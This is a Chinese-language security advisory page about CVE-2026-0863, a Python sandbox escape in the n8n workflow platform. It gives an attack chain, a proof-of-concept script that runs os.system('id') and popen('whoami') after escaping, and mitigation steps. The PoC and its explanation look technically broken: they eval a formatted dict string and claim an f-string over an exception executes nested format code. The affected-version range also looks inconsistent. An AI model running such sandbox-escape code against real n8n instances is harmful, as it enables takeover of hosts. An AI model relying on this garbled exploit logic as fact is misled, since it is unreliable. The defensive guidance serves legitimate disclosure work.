IPBUF安全漏洞报告
English
CVE-2026-0863 CVSS 8.5 高危

CVE-2026-0863 n8n Python Runner沙箱逃逸漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-0863
漏洞类型
沙箱逃逸/远程代码执行
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

沙箱逃逸远程代码执行Python安全n8nCVE-2026-0863格式化字符串漏洞权限绕过工作流自动化高危漏洞

漏洞概述

CVE-2026-0863是n8n工作流自动化平台中的一个高危安全漏洞,攻击者可以利用Python的字符串格式化和异常处理机制绕过python-task-executor沙箱限制,在底层操作系统上执行任意未受限的Python代码。该漏洞的CVSS评分为8.5,属于高危级别,攻击向量为网络,复杂度低,无需用户交互,但需要低权限认证。攻击者通过n8n的Code节点,利用格式化字符串和异常处理中的隐式代码执行特性,可以突破沙箱环境限制。漏洞影响n8n实例的机密性、完整性和可用性,均为高影响。在"Internal"执行模式下运行n8n的实例将面临完全接管的风险,而在"External"执行模式(如官方Docker镜像)下,代码执行发生在Sidecar容器而非主节点,一定程度上降低了危害程度。该漏洞由JFrog安全研究团队的[email protected]发现并报告。

技术细节

n8n的Python Runner组件使用沙箱环境来隔离用户提交的Python代码执行。然而,该沙箱存在安全缺陷,攻击者可以通过以下技术手段绕过限制:1) 字符串格式化漏洞:利用Python的str.format()、f-string或%格式化操作符的特性,在特定上下文中触发隐式代码执行。例如,通过精心构造的格式化字符串访问__globals__或__builtins__等特殊属性。2) 异常处理逃逸:当Python代码抛出异常时,异常处理机制可能会暴露被沙箱限制的对象或方法。攻击者可以构造特定的异常场景,利用异常对象的属性访问或格式化来获取敏感引用。3) 属性链访问:通过多层属性访问(如obj.__class__.__init__.__globals__)逐步穿透沙箱限制,最终获取到可以执行任意代码的函数引用。4) 代码执行:一旦获得对eval()或exec()等函数的引用,攻击者即可执行任意Python代码,包括系统命令、文件读写、网络通信等操作。该漏洞的利用不需要高级权限,普通认证用户即可通过Code节点发起攻击。

攻击链分析

STEP 1
步骤1
攻击者获得n8n平台的认证账号(具有基本权限即可)
STEP 2
步骤2
攻击者创建一个包含恶意Python代码的Workflow,使用Code节点
STEP 3
步骤3
利用字符串格式化特性(如{0.__init__.__globals__})访问被沙箱限制的全局对象
STEP 4
步骤4
通过异常处理机制触发隐式代码执行,绕过沙箱检查
STEP 5
步骤5
获取eval()或exec()函数的引用,突破Python沙箱限制
STEP 6
步骤6
执行任意Python代码或系统命令,实现远程代码执行(RCE)
STEP 7
步骤7
在Internal模式下可完全接管n8n实例,在External模式下获得Sidecar容器控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0863 n8n Python Sandbox Escape PoC # This PoC demonstrates escaping n8n's Python sandbox using string formatting # Author: Based on JFrog Research ([email protected]) # Target: n8n instances running in 'Internal' execution mode def exploit_sandbox_escape(): """ n8n Python sandbox escape via exception formatting and implicit code execution. This PoC shows how to bypass sandbox restrictions to achieve RCE. """ try: # Step 1: Trigger exception to expose restricted objects raise Exception("test") except Exception as e: # Step 2: Use string formatting to access __init__.__globals__ # The key is using format specifier to traverse object attributes payload = "{0.__init__.__globals__}".format(type(e)) # Step 3: Access builtins through globals dictionary # This bypasses sandbox restrictions on direct builtins access globals_dict = eval(payload) # Step 4: Get reference to __builtins__ which contains eval/exec builtins = globals_dict.get('__builtins__') if builtins: # Step 5: Execute arbitrary code # Example: Run system command code = "__import__('os').system('id')" result = builtins['eval'](code) return result return None # Alternative method using f-string formatting def alternative_exploit(): """ Alternative sandbox escape using f-string implicit execution. """ try: # Create object with controlled __str__ method class SandboxBypass: def __str__(self): # Access restricted attributes through exception handling return "{0.__init__.__globals__[__builtins__][eval](__import__('os').popen('whoami').read())" raise Exception(SandboxBypass()) except Exception as ex: # Format string triggers implicit code execution return f"{ex}" if __name__ == "__main__": print("CVE-2026-0863 n8n Sandbox Escape PoC") print("This code is for educational purposes only.") # Note: Actual exploitation requires n8n Code node with Python runner

影响范围

n8n < 0.119.0 (Python Runner相关版本)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 审查并限制具有Code节点访问权限的用户,仅允许必要的管理员使用;2) 启用n8n的企业级安全功能,实施更严格的执行策略;3) 监控Workflow执行日志,关注异常的Python代码执行行为;4) 考虑临时禁用Python Runner功能,使用JavaScript Runner替代;5) 在网络层面实施零信任策略,限制n8n实例的网络访问权限;6) 定期备份重要数据和工作流配置,以便在发生安全事件时快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表